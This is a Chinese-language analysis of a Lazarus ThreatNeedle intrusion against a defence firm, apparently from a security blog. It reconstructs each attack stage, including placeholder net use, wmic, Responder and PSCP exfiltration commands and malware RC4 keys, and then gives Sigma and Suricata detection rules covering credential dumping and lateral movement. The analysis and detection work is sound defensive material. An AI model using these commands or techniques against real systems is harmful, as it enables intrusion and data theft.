Home 应用安全 APT攻防推演:Lazarus组织针对国防工业的一次攻击

APT攻防推演:Lazarus组织针对国防工业的一次攻击

by zinan

Lazarus被称之为为2020年最活跃的APT组织,在攻击中使用的恶意软件属于一个被命名为ThreatNeedle的家族。Lazarus曾使用这个恶意软件攻击各个行业。在2020年中期,捕获到Lazarus正在使用ThreatNeedle对国防工业发起攻击,到目前为止,已经有十几个国家的组织受到影响。

 

原始报告:lazarus-targets-defense-industry-with-threatneedle

本次报告疑似是针对俄罗斯某机构的一次攻击行动,目的获取知识产权相关数据,本文会解读攻击者行动过程,并研究部分环节的检测方式。

该组织在其鱼叉式网络钓鱼邮件中使用了COVID-19主题,通过公开信息收集目标的工作人员,通过钓鱼获取初步立足点,然后收集凭据并横向移动,并寻找目标环境中的关键资产。内网中通过控制边界路由器并配置代理,绕过了内网的网络隔离策略,从而使他们能够将窃取的数据从隔离网络传输到C2服务器上。

 

一、鱼叉式网络钓鱼

鱼叉式的网络钓鱼被用于恶意程序的载体,在发动攻击之前,APT组织研究了关于目标组织的公开信息,并确定了属于该公司各部门的电子邮件地址。

发送的钓鱼邮件要么附有一个恶意的Word文档,要么有一个恶意Word下载链接。 这些钓鱼邮件伪造成是医疗中心撰写,内容是关于当今最热门的话题–COVID-19病毒感染的紧急通知。

0a5c6ff4a911159517dda27795d5ef89-10

该文件包含人口健康评估项目的信息,这却与钓鱼邮件的主题没有直接关系:

0e164d0abc29d7a03dcbda7dad9fdc2a

Word文档中包含恶意宏代码,作用是下载和执行真正的恶意程序。但最初的钓鱼尝试没有成功,原因是目标系统的微软Office安装中的宏被禁用。为了说服目标允许恶意宏,攻击者发送了另一封邮件,说明如何在微软Office中启用宏,但攻击者在语言描述上出现很多语法错误,这表明他们可能不是以俄语为母语的人,而是使用了翻译工具:

80916f0d1830162bceb45587611183a3

2020年6月3日,其中一个恶意附件被员工打开,攻击者获得了内网的一个驻点。威胁者在远控成功后从硬盘上抹去了word启动远控时产生的临时文件,这意味着它们无法被获得。 尽管如此,根据我们的遥测,还是检索到了一个与此word钓鱼相关的另一个钓鱼文档,这个遥测出来的钓鱼文档是关于发电机/电力行业工程师的岗位描述:

8fd0e59814de2ea1ce55ea7819a6268d

它创建了一个有效载荷和快捷方式文件,然后通过使用命令行参数继续执行有效载荷:

这里从word钓鱼到远控主进程启动环节仍然有缺失,但推测是远程dll下载,然后rundll32启动dll文件,这个dll就是ThreatNeedle后门的启动器,估计是个shellcode_loader,硬编码的参数是为了传参绕过沙箱检测。LNK写入到启动目录做持久化,其中LNK的启动参数也应该是rundll32的命令行。

• Payload路径: %APPDATA%\Microsoft\Windows\lconcaches.db
• LNK文件路径: %APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\OneDrives.lnk
• 命令行,please note that the string at the end is hard-coded, but different for each sample(请注意,结尾的字符串是硬编码的,但每个样本都不同):
o rundll32.exe [dllpath],Dispatch n2UmQ9McxUds2b29

 

二、C2程序本地植入流程

本地启动到植入流程:

b93b5525c619e61d526df57e60eaf765

 

三、ThreatNeedle安装器(Installer)

此过程主要目的,绕沙箱,本地文件copy,隐匿自身,以及通过系统服务持久化。

启动后,恶意软件使用RC4解密一个嵌入式字符串(密钥:B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4)并将其与 “7486513879852 “进行比较。如果 用户在没有命令行参数的情况下执行这个恶意软件,该恶意软件会启动一个合法的计算器。 在感染过程中,恶意软件从netsvc中随机选择了一个服务名称,以便将其用于有效载荷创建路径。然后,恶意软件在系统文件夹中创建一个名为bcdbootinfo.tlp的文件,其中包含感染时间和随机选择的服务名称。我们发现, 恶意软件操作者检查这个文件,以了解远程主机是否被感染,如果被感染,则感染发生的时间。 然后,它使用RC4算法对嵌入的有效载荷进行解密,将其保存在当前目录下随 机创建的五字符文件名的.xml扩展名中,然后将其复制到扩展名为.sys的系统文件夹中。

这最后的有效载荷是在内存中运行的ThreatNeedle加载器。此时,加载器使用不同的RC4密钥(3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1 D6 20),落地的恶意软件被注册为一个Windows服务并启动。此外,该恶意软件将配置数据保存为用RC4加密的注册表密钥。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\GameConfig- Description

 

四、ThreatNeedle加载器(loader)

此过程主要解密载荷,并通过shellcode_loader方式将真正的远控载荷从内存中直接加载起来。

该组件负责将最终的后门有效载荷加载到内存中。为了做到这一点,该恶意软件使用几种技术来解密其有效载荷。

- 从注册表加载有效载荷。 
- 在解密RC4和解压后从自身加载有效载荷。 
- 在解密AES和解压后从自身加载有效载荷。
- 解压后从自身加载有效载荷。
- 在一字节XOR后从自身加载有效载荷。

大多数加载器式的恶意软件类型检查命令行参数,只有在给出预期参数时才运行恶意程序。这是ThreatNeedle加载器的一个共同特征。我们看到的最常见的例子 与ThreatNeedle安装程序类似,恶意软件使用RC4解密一个嵌入式字符串,并在启动时与参数 “Sx6BrUk4v4rqBFBV “进行比较。如果匹配,恶意软件开始使用相 同的RC4密钥解密其嵌入式有效载荷。解密后的有效载荷是一个档案文件,随后在这个过程中被解压缩。最终,ThreatNeedle恶意软件在内存中生成。 装载器的另一个变体正在从受害者的注册表中准备下一阶段的有效载荷。正如我们从安装程序的恶意软件描述中看到的,我们怀疑注册表键是由安装程序组件创建的。从注册表中获取的数据使用RC4进行解密,然后进行解压缩。 最终,它被加载到内存中并调用导出功能。

 

五、ThreatNeedle后门

在内存中执行的最终有效载荷才是实际的ThreatNeedle后门,它有以下功能来控制受感染的机器:

- 操作文件/目录
- 系统信息收集 
- 控制后门进程 
- 进入睡眠或休眠模式 
- 更新后门配置 
- 远程命令执行

 

六、后利用阶段

在其中一台主机上,我们发现该攻击者执行了一个名为Responder的凭证采集工具,并使用Windows命令横向移动。Lazarus突破了内网网络隔离策略,是通过入侵一个虚拟路由器,从一个与互联网完全隔离的网段中窃取了数据,下面是调查到的大致时间线:

84e1dca5ab84964b8845a333da6ed64e

 

七、凭据收集

在调查过程中,我们发现Responder工具是从收到鱼叉式网络钓鱼文件的其中 一台受害者机器上执行的。在最初感染后的一天,恶意软件操作者将该工具放 在该主机上,并使用以下命令执行。

[Responder file path] -i [IP address] -rPv

附上参数解释:
-r, --wredir          Enable answers for netbios wredir suffix queries.
                      Answering to wredir will likely break stuff on the
                      network. Default: Off
-P, --ProxyAuth       Force NTLM (transparently)/Basic (prompt) 
                      authentication for the proxy. WPAD doesn't need to
                      be ON. This option is highly effective when combined
                      with -r. Default: Off
-v, --verbose         Increase verbosity.

从responder到获取到某台server凭据中间有缺失细节,两种可能,1、本地凭据和远程server一致,使用mimikatz之类的工具导出了凭据。2、强制server发起了对攻击者的认证,responder获取到NetNTLMHash后,离线使用hashcat破解出明文密码。从横向移动环节可以看出,获取到的是明文密码。

几天后,攻击者开始从该主机横向移动。因此,我们评估攻击者成功地从该主机获得了登录凭证,并开始使用它们进行进一步的恶意活动。

 

八、横向移动

此处缺失每台server是否都是相同的横向移动方式,暂且认为凭据都相同,或利用方式相同。

在获得登录凭证后,该行为人开始从工作站横向移动到服务器主机。采用了典型的横向移动方法,使用Windows命令。首先,使用 “net use “命令与远程主机建立网络连接。

net use \\[IP address]\IPC$ "[password]" /u:"[user name]" > $temp\~tmp5936t.tmp 2>&1"

接下来,该行为人使用Windows Management Instrumentation Command-line(WMIC)将恶意软件复制到远程主机并启动。

wmic.exe /node:[IP address] /user:"[user name]" /password:"[password]" PROCESS CALL CREATE "cmd.exe /c $appdata\Adobe\adobe.bat"
wmic.exe /node:[IP address] /user:"[user name]" /password:"[password]" PROCESS CALL CREATE "cmd /c sc queryex helpsvc > $temp\tmp001.dat"

 

九、突破网络隔离

被攻击的企业网络被分为两个部分:公司网络(可以访问互联网)和限制性网络(存放敏感数据,不能访问互联网)。根据企业政策,这两个部分之间不允许传输信息。换句话说,这两个部分是要完全分开的。

但在被攻击的机器中,有该企业IT基础设施的管理员使用的机器。 值得注意的是,管理员可以同时连接到公司和受限网段,以维护系统并为用户供两个区域的技术支持。因此,通过获得对管理员工作站的控制,攻击者能够访问受限网段。 然而,由于在网段之间直接路由流量是不可能的,攻击者无法使用他们的标准恶意软件集将数据从受限网段渗出到C2。 情况在7月2日发生了变化,攻击者成功地获得了管理员用来连接两个网段系统的路由器的凭证。路由器是一个运行CentOS的虚拟机,根据预定义的规则在几个网络接口之间路由流量。

b4cf7c787721010337b2ee2c9f1472d1

此处缺失了攻击者是如何获取到router管理页面凭据的细节,但猜测是因为控制了IT管理员的机器,dump了浏览器凭据。

根据收集到的证据,攻击者扫描了路由器的端口,发现了一个Webmin界面。 接下来,攻击者使用一个特权根账户登录到Web界面。目前还不知道攻击者是如何获得该账户的凭证的,但有可能该凭证被保存在受感染系统的一个浏览器密码管理器中。

攻击者登入虚拟路由器:

41baf470a380cba0daf3206ec6afa6b0

通过进入配置面板,攻击者配置了Apache网络服务器,并开始使用路由器作为该组织的企业和限制区间的代理服务器。

猜测是通过apache配置了正向HTTP代理。

bcdeeda8b942d61ad83970e3a7237fe1

此处缺失攻击者如何知道SSH密码的,推测和web凭据一致,或web界面可配置ssh服务。

此后数天,即2020年7月10日,攻击者连接到路由器通过SSH,在其中一台被感染的机器上设置了PuTTyPSCP(PuTTY安全拷贝客户端)工具。这个工具被用来上传恶意软件到路由器的虚拟机。这使攻击者能 够将恶意软件放置在企业网络的限制性部分的系统上,使用路由器来托管恶意样本 。此外,在网络限制区段运行的恶意软件能够通过设置在同一台路由器上的Apache服务器将收集到的数据外泄到命令和控制服务器。

攻击者入侵虚拟路由器后的新的连接拓扑图:

edb7792577adfc9aef907b8f1be2e249

在隔离区域的恶意软件样本,其中有作为代理服务器使用的路由器的硬编码URL:

a07e84b22fd7d3921695ba36d3e2a0ca

攻击者在centos路由器上经常删除日志:

4adcd14914f764902564a99e368122e0

攻击者还在路由器虚拟机上运行了nmap工具,并扫描了企业网络限制段内系统的端口。9月27日,攻击者开始从路由器上清除他们活动的所有痕迹,使用 logrotate工具来设置自动删除日志文件。

b29c83e92381b84caeaa74a09e3a5134

 

十、数据渗出

攻击者者试图从几个被控制的服务器主机创建SSH隧道到位于韩国的远程服务器。 他们使用一个定制的隧道工具来实现这一目的。 该工具接收四个参数:客户端IP地址、客户端端口、服务器IP地址和服务器端口 。该工具提供基本功能,将客户端流量转发到服务器。为了避免明文传输,使用了亦或加密通讯:

8abc10b86e01e8451dbc4d071fe56476

使用 PuTTy PSCP远程传输文件:

%APPDATA%\PBL\unpack.tmp -pw [password] root@[IP address]:/tmp/cab0215 %APPDATA%\PBL\cab0215.tmp

 

检测与防御

目标是检测攻击方法本身,而不是特定的IoC。

1、邮件沙箱对于宏文档的检测
2、钓鱼文档在受害者电脑上执行的行为
1)启动目录创建文件

通过word文档创建文件属于可疑行为,但由于LNK文件的特殊性,sysmon无法直接采集到LNK文件的创建,但相关场景仍需覆盖:

# 钓鱼文档创建可疑文件
detection:
    event:
        event_id: '11'
    selection1:
        event_data.Image:
            - '*\winword.exe'
            - '*\excel.exe'
            - '*\powerpnt.exe'
            - '*\outlook.exe'
            - '*\MSPUB.exe'
            - '*\VISIO.exe'
    selection2:
        event_data.TargetFilename:
            - '*.bat'
            - '*.vbs'
            - '*.vb'
    condition: event and selection1 and selection2
# Windows自启动目录新增文件
detection:
    selection1:
        EventID: 11
    selection2:
        TargetFilename:
            - 'C:*?Microsoft?Windows?Start Menu?Programs?StartUp?*'
    whitelist1:
        Image:
            - 'C:?windows?explorer.exe'
    whitelist2:
        TargetFilename:
            - '*appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini'
    condition:  selection1 and selection2 and not whitelist1 and not whitelist2
2)子进程运行rundll32
# 钓鱼文档运行可疑子进程
detection:
    event:
        EventID: 1
    selection1:
        event_data.ParentImage:
            - '*\winword.exe'
            - '*\excel.exe'
            - '*\powerpnt.exe'
            - '*\outlook.exe'
            - '*\MSPUB.exe'
            - '*\VISIO.exe'
    selection2:
        event_data.OriginalFileName:
            - 'cmd.exe'
            - 'powershell.exe'
            - 'wmic.exe'
            - 'regsvr32.exe'
            - 'psexec.c'
            - 'bitsadmin.exe'
            - 'wmiprvse.exe'
            - 'cmstp.exe'
            - 'InstallUtil.exe'
            - 'MSBuild.exe'
            - 'mshta.exe'
            - 'sdbinst.exe'
            - 'certutil.exe'
            - 'conhost.exe'
            - 'rundll32.exe'
            - 'cscript.exe'
            - 'sctasks.exe'
            - 'wscript.exe'
            - 'scriptrunner.exe'
            - 'svchost.exe'
            - 'forfiles.exe'
            - 'scrcons'
            # - 'msiexec.exe'  # office安装更新包会出现这种情况
    selection3:
        event_data.CommandLine:
            - '*http://*'
            - '*https://*'
    filter1:
        event_data.OriginalFileName:
            - 'chrome.exe'
    filter2:
        event_data.Description:
            - '*浏览器*'
            - '*browser*'
    filter3:
        event_data.CommandLine:
            - '*rundll32*pptassist.dll,dllcheckupdate*'
            - '*\spool\*'
            - '*pptassist.dll*'
            - '*dllsendreportdataw*'
            - '*rundll32*control_rundll*'
            - '*.microsoft.com/*'
            - '*\edge\*'
            - '*\maxthon*'
            - '*\internet explorer*'
            - '*officetemplate*'
            - '*\kismain.exe*'
            - '*dispatchapicall*'
            - '*wmic bios get SerialNumber*'
            - '*PhotoViewer.dll*'
            - '*:@*'
    filter4:
        event_data.ParentCommandLine:
            - '* /dde'
    filter5:
        event_data.Image:
            - '*firefox*'
    condition: event and selection1 and (selection2 or selection3) and not filter1 and not filter2 and not filter3 and not filter4 and not filter5
3、ThreatNeedle Installer的行为
1)注册系统服务实现持久化
2)配置信息写入到注册表
4、ThreatNeedle Loader的行为
1)从注册表中读取配置并且解密
2)解密payload后从内存中加载
5、ThreatNeedle后门行为
1)文件浏览与操作,敏感文件读取
2)远控执行命令行

参考文章:通用模型检测远控木马执行交互式CMDSHELL

6、凭据收集
1)responder凭据采集工具
基于Suricata规则检测流量特征:
alert tcp any [139,445] -> $HOME_NET any (msg:"Suspicious Microsoft NTLM SSP Challenge Value Detected - Inbound (NTLM Hash Theft Attempt)"; flow:established,to_client; content:"SMB"; depth:9; content:"NTLMSSP|00 02 00 00 00|"; distance:64; content:"|12 34 56 78 ab cd ef 00|"; distance:12; within:8; fast_pattern; priority:2; rev:2; sid:20055982;)
alert tcp any [139,445] -> $HOME_NET any (msg:"Suspicious Microsoft NTLM SSP Challenge Value Detected - Inbound (NTLM Hash Theft Attempt)"; flow:established,to_client; content:"SMB"; depth:9; content:"NTLMSSP|00 02 00 00 00|"; distance:64; content:"|11 22 33 44 55 66 77 88|"; distance:12; within:8; fast_pattern; priority:2; rev:2; sid:20055964;)
alert tcp any [139,445] -> $HOME_NET any (msg:"Suspicious Microsoft NTLM SSP Challenge Value Detected - Inbound (NTLM Hash Theft Attempt)"; flow:established,to_client; content:"SMB"; depth:9; content:"NTLMSSP|00 02 00 00 00|"; distance:64; content:"|41 41 41 41 41 41 41 41|"; distance:12; within:8; fast_pattern; priority:2; rev:2; sid:20055963;)
2)强制认证
例如使用PetitPotam或SpoolSample攻击。
# 疑似Petitpotam攻击建立IPC管道
detection:
    eventid:
        event_id: "5145"
    selection1:
        event_data.AccessMask: '0x3'
        event_data.ShareName: '*IPC$'
    selection2:
        event_data.RelativeTargetName:
            - 'efsr'
            - 'lsarpc'
            - 'samr'
            - 'netlogon'
            - 'lsass'
    condition: all of them
# 疑似攻击打印机服务
detection:
    selection1:
        event_id: 5145
    selection2:
        event_data.RelativeTargetName: "spoolss"
        event_data.AccessMask: '0x3'
    condition: all of them
3)其它本地凭据采集方式
一种方式是dump hash后离线破解,另一种方式是在内存中直接dump出明文密码,监控点可以是dump凭据执行的命令行,对lsass.exe进程的异常提权,或者dump内存时创建的临时文件,举例如:
# 通过Reg.exe转储SAM表项
detection:
    selection1:
        EventID: 1
        event_data.OriginalFileName: 'reg.exe'
    selection2:
        event_data.CommandLine:
            - '* save *'
            - '* export *'
    selection3:
        event_data.CommandLine:
            - '*hklm*'
            - '*hkey_local_machine*'
    selection4:
        event_data.CommandLine:
            - '*\sam *'
            - '*\security *'
            - '*\system *'
    condition: all of them
# 发现lsass进程内存被dump
detection:
    selection1:
        EventID: 11
        event_data.TargetFilename:
            - '*lsass*.dmp'
            - '*lsass*.dump'
    condition: selection1
# 发现针对敏感进程的异常提权行为
detection:
    selection1:
        EventID: 10
        event_data.GrantedAccess: "0x1010"
    selection2:
        event_data.TargetImage:
            - "*lsass.exe"
    filter:
        event_data.SourceImage:
            - "*windows defender*"
            - '*\microsoft security client\*'
            - '*\kingsoft\*'
            - '*\360*'
            - '*\wegame\*'
            - '*\wechat\*'
            - '*\appdata\*'
            - '*\spool\*'
            - '*\program*'
    condition: selection1 and selection2 and not filter
7、横向移动
1)命令创建IPC命名管道
# 使用net.exe远程建立Windows_IPC命名管道
detection:
    selection1:
        event_id: 1
    selection2:
        event_data.OriginalFileName:
            - 'net.exe'
            - 'net1.exe'
    selection3:
        event_data.CommandLine:
            - '* use *\\\*\IPC$*/u*:*'
            - '* use *\\\*/IPC$*/u*:*'
    condition: all of them
2)wmi命令远程调用恶意文件
# WMI执行远程管理命令
detection:
    selection1:
        event_id: 1
    selection2:
        event_data.OriginalFileName: 'wmic.exe'
    selection3:
        event_data.CommandLine:
            - '*process *call *create *'
    select4:
        event_data.CommandLine: '* /user *'
    select5:
        event_data.CommandLine: '* /password *'
    select6:
        event_data.CommandLine: '* /node *'
    condition: all of them
3)登录成功多台windows server
# 4624远程登录成功
detection:
    selection1:
        event_id: 4624
        event_data.LogonType: "3"
        event_data.AuthenticationPackageName: 'ntlm'
    selection2:
        event_data.IpAddress:
            - '10.*'
            - '192.168.*'
            - '172.16.*'
            - '172.17.*'
            - '172.18.*'
            - '172.19.*'
            - '172.20.*'
            - '172.21.*'
            - '172.22.*'
            - '172.23.*'
            - '172.24.*'
            - '172.25.*'
            - '172.26.*'
            - '172.27.*'
            - '172.28.*'
            - '172.29.*'
            - '172.30.*'
            - '172.31.*'

            # 部分企业私有地址不够用,会在路由上修改这个网段为私有地址
            - '11.*'
    filter:
        computer_name:
            # 过滤打印机
            - "*print*"
    condition: selection1 and selection2 and not filter
# 发现源主机远程登录成功多个Windows机器
epl: '
@name("发现源主机登录成功多个Windows机器_创建窗口")
@public
create window a9ebeac45532e1c_Window_4624#groupwin(
event_data_ipaddress)#unique(
event_data_ipaddress, event_data_targetusername, host_ip)#time(10 min) as
select
event_data_ipaddress,
event_data_targetusername,
host_ip
from SigmaAlerts;


@name("发现源主机登录成功多个Windows机器_写入缓存数据")
insert into a9ebeac45532e1c_Window_4624 select
event_data_ipaddress,
event_data_targetusername,
host_ip
from SigmaAlerts
where
alert_signature = "4624远程登录成功" and
event_data_targetusername != "anonymous logon";


@name("发现源主机登录成功多个Windows机器_执行查询")
on pattern[every timer:interval(5 sec)]
select
event_data_ipaddress,
count(distinct host_ip) as diff_cnt
from a9ebeac45532e1c_Window_4624
group by
event_data_ipaddress
having count(distinct host_ip) >= 3;

'
8、控制了IT管理员的机器,dump浏览器凭据
9、在员工电脑上使用PuTTyPSCP工具上传恶意软件到server
# 疑似使用PuTTyPSCP工具远程传输文件
detection:
    selection1:
        event_id: 1
    selection2:
        event_data.CommandLine:
            - regex:(?i).*\s+[a-z0-9_\.]{1,15}@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:(/|\.|~).{1,20}\s+.*(\\|/|\.).*
            - regex:(?i).*\s+.*(\\|/|\.).*\s+[a-z0-9_\.]{1,15}@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:(/|\.|~).{1,20}
    condition: all of them
10、NMAP扫描了隔离网段中系统的开放端口
11、linux上日志文件查看,以及通过rm命令清除
12、使用logrotate工具清除linux日志
13、http代理的使用,突破隔离网段渗出数据
14、在被控server上通过ssh创建到外网的ssh隧道
# 疑似使用plink工具创建隧道
detection:
    selection1:
        event_id: 1
    selection2:
        event_data.CommandLine:
            - regex:(?i).*\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,5}:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,5}.*
    selection3:
        event_data.CommandLine:
            - regex:(?i).*\s+[a-z0-9_\.]{1,15}@.*\..*
    selection4:
        event_data.CommandLine: '* -N *'
    condition: all of them
15、PuTTyPSCP工具渗出数据

同9

打赏
0 comment

You may also like

Leave a Comment

*

code

error: Alert: Content is protected !!